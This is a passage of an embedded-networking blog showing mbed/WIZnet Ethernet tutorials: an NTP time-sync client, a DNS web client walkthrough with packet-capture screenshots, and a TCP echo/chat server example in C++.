<ul>
<li style="display: list-item; line-height: 1.4em;">NTP version 4, clinet<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19272800980" title="2015-07-06_17-15-36 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c4.staticflickr.com/4/3939/19272800980_cf2c1fe143_c.jpg" width="800" height="357" alt="2015-07-06_17-15-36" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">NTP version 4, server<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19272800920" title="2015-07-06_17-15-50 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/480/19272800920_571d9a7fe4_c.jpg" width="800" height="355" alt="2015-07-06_17-15-50" style="max-width: 100%;"></a></li>
</ul>
</li>
</ol><h2 id="code-repository" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="code-repository" href="#code-repository" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Code Repository</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;">I will update…</p><h2 id="ref.-code" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="ref.-code" href="#ref.-code" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Ref. Code</h2><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; overflow: auto;"><code class="cpp hljs" data-origin="<pre><code class="cpp">#include "mbed.h"
#include "EthernetInterface.h"
#include "NTPClient.h"
EthernetInterface eth;
NTPClient ntp;
int main()
{
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x01, 0x02, 0x03};
//eth.init(); //Use DHCP
eth.init(mac_addr); //Use DHCP
eth.connect();
printf("Trying to update time...\r\n");
//if (ntp.setTime("0.pool.ntp.org") == 0)
if (ntp.setTime("jp.pool.ntp.org") == 0)
{
printf("Set time successfully\r\n");
time_t ctTime;
ctTime = time(NULL);
printf("Time is set to (UTC): %s\r\n", ctime(&amp;ctTime));
}
else
{
printf("Error\r\n");
}
eth.disconnect();
while(1) {
}
}
</code></pre>" style="display: block;border: 1px solid rgb(204, 204, 204); white-space: pre; padding: 0.5em; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 0.9em; font-family: Consolas, Inconsolata, Courier, monospace;display: block; overflow-x: auto; padding: 0.5em; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); background-position: initial initial; background-repeat: initial initial;"><span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "mbed.h"</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "EthernetInterface.h"</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "NTPClient.h"</span>
EthernetInterface eth;
NTPClient ntp;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> main()
{
uint8_t mac_addr[<span class="hljs-number" style="color: rgb(0, 128, 128);">6</span>] = {<span class="hljs-number" style="color: rgb(0, 128, 128);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x08</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xDC</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x01</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x02</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x03</span>};
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//eth.init(); //Use DHCP</span>
eth.init(mac_addr); <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//Use DHCP</span>
eth.connect();
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Trying to update time...\r\n"</span>);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//if (ntp.setTime("0.pool.ntp.org") == 0)</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (ntp.setTime(<span class="hljs-string" style="color: rgb(221, 17, 68);">"jp.pool.ntp.org"</span>) == <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>)
{
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Set time successfully\r\n"</span>);
time_t ctTime;
ctTime = time(NULL);
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Time is set to (UTC): %s\r\n"</span>, ctime(&ctTime));
}
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
{
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Error\r\n"</span>);
}
eth.disconnect();
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">while</span>(<span class="hljs-number" style="color: rgb(0, 128, 128);">1</span>) {
}
}
</code></pre></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-47874702864447563152015-07-05T22:51:00.001-07:002015-07-06T06:05:09.237-07:00DNSWebClient<div style="background-color: rgb(255, 255, 255); font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; overflow-x: hidden; overflow-y: auto; margin: 0px !important; padding: 5px 20px 26px !important;padding: 20px;padding: 20px; color: rgb(0, 0, 0); font-size: 15px; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', AppleSDGothicNeo-Medium, 'Segoe UI', 'Malgun Gothic', Verdana, Tahoma, sans-serif; background-color: rgb(255, 255, 255); -webkit-font-smoothing: antialiased; background-position: initial initial; background-repeat: initial initial;">
<h1 id="dns-web-client" style="clear: both;font-size: 2.2em; font-weight: bold; margin: 1.5em 0px 1em;margin-top: 0px;"><a name="dns-web-client" href="#dns-web-client" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>DNS Web Client</h1><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;">자세한 사항은 아래의 링크와 그림을 참고 한다. </p><h2 id="dns" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="dns" href="#dns" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>DNS</h2><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;"><a href="https://en.wikipedia.org/wiki/Domain_Name_System" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">DNS-wikipedia</a><br style="clear: both;"><img src="http://www.routercheck.com/wp-content/uploads/2014/03/dns-and-ipv6-470x282.jpg" alt="DNS" style="max-width: 100%;"><br style="clear: both;">*참고:http://www.routercheck.com/wp-content/uploads/2014/03/dns-and-ipv6-470x282.jpg</p>
<h2 id="http" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="http" href="#http" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>HTTP</h2>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;"><a href="https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">HTTP-wikipedia</a><br style="clear: both;"><img src="http://codegangsta.gitbooks.io/building-web-apps-with-go/content/http_basics/http_diagram.png" alt="HTTP" style="max-width: 100%;"><br style="clear: both;">*참고:http://codegangsta.gitbooks.io/building-web-apps-with-go/content/http_basics/http_diagram.png</p>
</li>
</ul><h2 id="do-dnswebclient" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="do-dnswebclient" href="#do-dnswebclient" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Do DnsWebClient</h2><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">Create New Program as DNS Web Client<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19269275188" title="2015-07-03_14-49-16 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c2.staticflickr.com/4/3911/19269275188_4711b5f999.jpg" width="399" height="312" alt="2015-07-03_14-49-16" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Confirm the created program<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19270707159" title="2015-07-03_14-49-44 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/311/19270707159_88236aa1ef_o.png" width="225" height="56" alt="2015-07-03_14-49-44" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Import WIZnetInterface by using Import Wizard:”<a href="https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/"(1" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/"(1</a>)<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19461124011" title="2015-07-03_14-52-50 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/408/19461124011_e5bf10e75f.jpg" width="397" height="311" alt="2015-07-03_14-52-50" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Make Codes</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Set DHCPclient, Sourtce port and Domain name server<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19270706679" title="2015-07-06_13-08-46 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/364/19270706679_5d12ccb2fe_z.jpg" width="542" height="569" alt="2015-07-06_13-08-46" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">TCP-connection, TCP-recv and Display received data<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19430770976" title="2015-07-06_13-09-22 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c2.staticflickr.com/4/3701/19430770976_613c1fb375_z.jpg" width="526" height="635" alt="2015-07-06_13-09-22" style="max-width: 100%;"></a></li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Confirm packets bye WireShark<br style="clear: both;"> 5.1 DHCP complite<br style="clear: both;"> 5.2 DNS handshake between Clinet and DNS server<br style="clear: both;"> 5.3 TCP-Connection between Clinet and HTTP server<br style="clear: both;"> 5.4 Request HTTP GET<br style="clear: both;"> 5.5 RECV TCP DATA: HTTP page<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/18836221493" title="2015-07-06_11-26-47 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/401/18836221493_a2f62b0672_c.jpg" width="800" height="570" alt="2015-07-06_11-26-47" style="max-width: 100%;"></a></p>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">DNS packet</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">5.1 DNS Request<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19461123691" title="2015-07-06_12-55-45 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/371/19461123691_60beb9d8e8_c.jpg" width="800" height="338" alt="2015-07-06_12-55-45" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">5.2 DNS Reponse<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19430771096" title="2015-07-06_12-56-51 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c2.staticflickr.com/4/3767/19430771096_a9f40d4b83_c.jpg" width="800" height="409" alt="2015-07-06_12-56-51" style="max-width: 100%;"></a></li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Confirm Serial Teminal</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Set Serial teminal<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19183500880" title="2015-07-03_13-07-00 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/373/19183500880_4037f5a189.jpg" width="383" height="313" alt="2015-07-03_13-07-00" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Display<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19430771536" title="2015-07-03_17-40-38 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/548/19430771536_e346c24a50_c.jpg" width="800" height="495" alt="2015-07-03_17-40-38" style="max-width: 100%;"></a></li>
</ul>
</li>
</ol><h2 id="code-repository" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="code-repository" href="#code-repository" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Code Repository</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;"><a href="https://developer.mbed.org/users/embeddist/code/DNSWebClient/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="https://developer.mbed.org/users/embeddist/code/DNSWebClient/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://developer.mbed.org/users/embeddist/code/DNSWebClient/</a></p><h2 id="ref.-code" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="ref.-code" href="#ref.-code" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Ref. Code</h2><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; overflow: auto;"><code class="cpp hljs" data-origin="<pre><code class="cpp">#include "mbed.h"
#include "EthernetInterface.h"
#define ECHO_SERVER_PORT 23 // telnet defaults to port 23
DigitalOut myled(LED1);
// Initialize the Ethernet client library
EthernetInterface eth;
int main() {
// Enter a MAC address for your controller below.
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x00, 0x01, 0x02};
// initializing MAC address
eth.init(mac_addr);
// Check Ethenret Link
if(eth.link() == true)
printf("- Ethernet PHY Link-Done \r\n");
else
printf("- Ethernet PHY Link- Fail\r\n");
// Start Ethernet connecting: Trying to get an IP address using DHCP
if ( eth.connect() &lt; 0 )
printf("Fail - Ethernet Connecing");
else
{
// Print your local IP address:
printf("IP=%s\n\r",eth.getIPAddress());
printf("MASK=%s\n\r",eth.getNetworkMask());
printf("GW=%s\n\r",eth.getGateway());
}
TCPSocketServer server;
server.bind(ECHO_SERVER_PORT);
server.listen();
while (true) {
printf("\nWait for new connection...\n\r");
TCPSocketConnection client;
server.accept(client);
//client.set_blocking(false, 1500); // Timeout after (1.5)s
printf("Connection from: %s\n\r", client.get_address());
char buffer[256];
while (true) {
int n = client.receive(buffer, sizeof(buffer));
if (n &lt;= 0) break;
// print received message to terminal
buffer[n] = '\0';
printf("Received message from Client :'%s'\n\r",buffer);
// reverse the message
char temp;
for(int f = 0, l = n-1; f&lt;l; f++,l--){
temp = buffer[f];
buffer[f] = buffer[l];
buffer[l] = temp;
}
// print reversed message to terminal
printf("Sending message to Client: '%s'\n\r",buffer);
// Echo received message back to client
client.send_all(buffer, n);
if (n &lt;= 0) break;
}
client.close();
//led blinky
myled = 1;
wait(0.2);
myled = 0;
wait(0.2);
}
}
</code></pre>" style="display: block;border: 1px solid rgb(204, 204, 204); white-space: pre; padding: 0.5em; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 0.9em; font-family: Consolas, Inconsolata, Courier, monospace;display: block; overflow-x: auto; padding: 0.5em; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); background-position: initial initial; background-repeat: initial initial;"><span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "mbed.h"</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "EthernetInterface.h"</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">define</span> ECHO_SERVER_PORT 23 <span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// telnet defaults to port 23</span></span>
DigitalOut myled(LED1);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Initialize the Ethernet client library</span>
EthernetInterface eth;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> main() {
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Enter a MAC address for your controller below.</span>
uint8_t mac_addr[<span class="hljs-number" style="color: rgb(0, 128, 128);">6</span>] = {<span class="hljs-number" style="color: rgb(0, 128, 128);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x08</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xDC</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x01</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x02</span>};
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// initializing MAC address</span>
eth.init(mac_addr);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Check Ethenret Link</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span>(eth.link() == <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>)
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"- Ethernet PHY Link-Done \r\n"</span>);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"- Ethernet PHY Link- Fail\r\n"</span>);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Start Ethernet connecting: Trying to get an IP address using DHCP</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> ( eth.connect() < <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span> )
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Fail - Ethernet Connecing"</span>);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
{
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Print your local IP address:</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"IP=%s\n\r"</span>,eth.getIPAddress());
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"MASK=%s\n\r"</span>,eth.getNetworkMask());
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"GW=%s\n\r"</span>,eth.getGateway());
}
TCPSocketServer server;
server.bind(ECHO_SERVER_PORT);
server.listen();
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">while</span> (<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>) {
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"\nWait for new connection...\n\r"</span>);
TCPSocketConnection client;
server.accept(client);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//client.set_blocking(false, 1500); // Timeout after (1.5)s</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Connection from: %s\n\r"</span>, client.get_address());
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">char</span> buffer[<span class="hljs-number" style="color: rgb(0, 128, 128);">256</span>];
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">while</span> (<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>) {
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> n = client.receive(buffer, <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">sizeof</span>(buffer));
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (n <= <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>) <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">break</span>;
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// print received message to terminal</span>
buffer[n] = <span class="hljs-string" style="color: rgb(221, 17, 68);">'\0'</span>;
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Received message from Client :'%s'\n\r"</span>,buffer);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// reverse the message</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">char</span> temp;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">for</span>(<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> f = <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>, l = n-<span class="hljs-number" style="color: rgb(0, 128, 128);">1</span>; f<l; f++,l--){
temp = buffer[f];
buffer[f] = buffer[l];
buffer[l] = temp;
}
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// print reversed message to terminal</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Sending message to Client: '%s'\n\r"</span>,buffer);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Echo received message back to client</span>
client.send_all(buffer, n);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> (n <= <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>) <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">break</span>;
}
client.close();
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">//led blinky</span>
myled = <span class="hljs-number" style="color: rgb(0, 128, 128);">1</span>;
wait(<span class="hljs-number" style="color: rgb(0, 128, 128);">0.2</span>);
myled = <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>;
wait(<span class="hljs-number" style="color: rgb(0, 128, 128);">0.2</span>);
}
}
</code></pre></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-38907713897365133502015-07-05T22:00:00.000-07:002015-07-06T06:04:00.009-07:00DHCPChatServer<div style="background-color: rgb(255, 255, 255); font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; overflow-x: hidden; overflow-y: auto; margin: 0px !important; padding: 5px 20px 26px !important;padding: 20px;padding: 20px; color: rgb(0, 0, 0); font-size: 15px; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', AppleSDGothicNeo-Medium, 'Segoe UI', 'Malgun Gothic', Verdana, Tahoma, sans-serif; background-color: rgb(255, 255, 255); -webkit-font-smoothing: antialiased; background-position: initial initial; background-repeat: initial initial;">
<h1 id="dhcp-chat-server" style="clear: both;font-size: 2.2em; font-weight: bold; margin: 1.5em 0px 1em;margin-top: 0px;"><a name="dhcp-chat-server" href="#dhcp-chat-server" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>DHCP Chat Server</h1><h2 id="tcp" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="tcp" href="#tcp" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>TCP</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;">TCP의 자세한 내용은 아래의 링크와 플로우챠트를 참조한다. </p><ul>
<li style="display: list-item; line-height: 1.4em;"><a href="https://en.wikipedia.org/wiki/TCP" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">TCP-wikipedia</a></li>
</ul><p style="margin: 1em 0px; word-wrap: break-word;"><img src="https://developer.mbed.org/media/uploads/emilmont/xtcp.png.pagespeed.ic.IFZcyRfQTh.png" alt="TCP" style="max-width: 100%;"></p><h2 id="do-dhcpchatserver" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="do-dhcpchatserver" href="#do-dhcpchatserver" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Do DhcpChatServer</h2><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">Create New Program as DHCP Chat Server<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19371143705" title="2015-07-03_11-25-08 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/267/19371143705_428064a423.jpg" width="401" height="311" alt="2015-07-03_11-25-08" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Import WIZnetInterface by using Import Wizard:”<a href="https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/"(1" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/"(1</a>)<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19375197911" title="2015-07-03_11-28-12 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/406/19375197911_021a10e753.jpg" width="400" height="312" alt="2015-07-03_11-28-12" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;">Confirm the created program (mbed: mbed.lib, main.c:blinky_led, WIZnetInterface: ethernet interface)<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19365017302" title="2015-07-03_12-47-27 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/299/19365017302_bc0643b3fb.jpg" width="312" height="177" alt="2015-07-03_12-47-27" style="max-width: 100%;"></a></li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Make codes</p>
<ul>
<li style="display: list-item; line-height: 1.4em;">DHCPClient Setting, Define Source port<br style="clear: both;"><a href="https://www.flickr.com/photos/129289794@N06/19268830928" title="2015-07-06_13-40-20 by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c4.staticflickr.com/4/3714/19268830928_afabf22faa.jpg" width="500" height="454" alt="2015-07-06_13-40-20" style="max-width: 100%;"></a></li>
